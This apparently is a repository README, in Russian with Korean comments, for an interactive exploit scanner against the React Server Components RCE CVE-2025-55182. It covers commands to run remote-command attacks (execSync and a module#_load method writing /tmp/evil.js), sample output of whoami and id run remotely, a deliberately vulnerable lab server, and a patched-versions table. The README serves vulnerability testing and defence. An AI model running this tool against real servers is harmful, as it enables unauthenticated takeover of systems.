
CVE-2025-55182 React RCE тестовая программа
Программа тестирования RCE для React — CVE-2025-55182
Этот скрипт — инструмент проверки уязвимости CVE-2025-55182 — критической уязвимости удалённого выполнения кода (RCE) в React Server Components (RSC) в React 19.x.
Данный инструмент определяет, присутствует ли уязвимость на реальном сервере, и в зависимости от опций позволяет выполнять команды, сохранять логи или тестировать уязвимость с помощью двухэтапного метода RCE (module#_load).
⚠️ Этот инструмент следует использовать только в изолированной тестовой среде и исключительно в целях аудита безопасности и проверки уязвимостей.
| Пункт | Описание |
|---|---|
| Номер уязвимости | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Название уязвимости | React2Shell |
| Тип уязвимости | Удалённое выполнение кода (RCE) — без аутентификации |
| Критичность (CVSS) | 10.0 (критическая) |
| Дата обнаружения | 2025-11-29 (Lachlan Davidson) |
| Сложность атаки | Очень низкая (уровень Log4Shell) |
| Описание уязвимости | Структурная RCE-уязвимость, при которой во время десериализации Flight через скобочную нотацию функции requireModule() становится возможным доступ к цепочке прототипов (constructor, __proto__) |
✅ Проектам с поддержкой RSC для безопасности необходимо обновлять модули
react-server-dom-*до последних версий отдельно от React.
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
✅ Интерактивная проверка возможности RCE на уязвимом сервере
✅ Поддержка методов child_process#execSync (по умолчанию) и module#_load
✅ Сохранение результатов выполнения команд в файл журнала
✅ Передача на сервер системных команд, введённых пользователем напрямую
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
Базовый RCE-тест (метод execSync)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rceДвухэтапный RCE-тест (метод module#_load)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadRCE-тест на основе RSC (опция --rce2)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Сохранение журнала результатов выполнения команд
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logПапка vulnerable-react-env содержит намеренно уязвимый сервер React + Express, позволяющий воспроизвести CVE-2025-55182.
./setup_vulnerable_env.sh за один раз завершит установку apt-пакетов → установку nvm/Node.js 20 → npm install.cd vulnerable-react-env && npm start или npm run dev.npm run, будет выведен лишь список скриптов. Обязательно указывайте имя скрипта, например npm start (или npm run start)../uninstall_vulnerable_env.sh можно удалить node_modules, полезную нагрузку moduleLoad и (опционально) Node 20 и nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express', установите node_modules командой cd vulnerable-react-env && npm install, после чего снова выполните npm start.⚠️ Запрещается использовать в целях, отличных от исследовательских/образовательных. Не открывайте доступ из интернета.
💬 Введите системную команду: whoami
✅ Код ответа: 200
📄 Содержимое ответа: {"success":true,"result":"www-data"}
💬 Введите системную команду: id
✅ Код ответа: 200
📄 Содержимое ответа: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Введите системную команду: exit
👋 Завершение работы.
❌ Никогда не используйте в производственной среде.
✅ Этот скрипт следует использовать только в локальной тестовой среде или в изолированной виртуальной машине.
🛠️ Метод --method moduleLoad создаёт реальный файл /tmp/evil.js.
🧾 При использовании опции --log результаты сохраняются в виде открытого текста, поэтому ограничьте доступ к файлу.
🔐 Все запросы проверяют, выполняется ли на уязвимом сервере реальный JavaScript-код.
Официальный CVE: CVE-2025-55182
Методы эксплуатации:
Ход атаки:
Данный проект предоставляется исключительно для исследований в области безопасности, аудита и тестирования;
несанкционированное использование на реальных системах является незаконным.
Вся юридическая ответственность, возникающая в результате использования данного инструмента, ложится на пользователя.
| Продукт/инструмент | Уязвимые версии | Исправленные версии |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | Аналогично (↑) | Аналогично |
| react-server-dom-parcel | Аналогично (↑) | Аналогично |
| react-server-dom-turbopack | Аналогично (↑) | Аналогично |
| Next.js 14 | Некоторые версии от 14.3.0.canary.77 и выше | (неофициально) рекомендуется перейти на 15.0.5 и выше |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Прочие инструменты | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin и др. | Требуется обновление RSC-зависимостей соответствующего проекта |
Использование всех возможностей (метод + журнал)
moduleLoad и сохранение журналаpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logВывод отладки полезной нагрузки
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugsudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (порт по умолчанию: 3000)http://localhost:3000 и отправьте _payload и cmd через формуvulnerable-react-env/README.md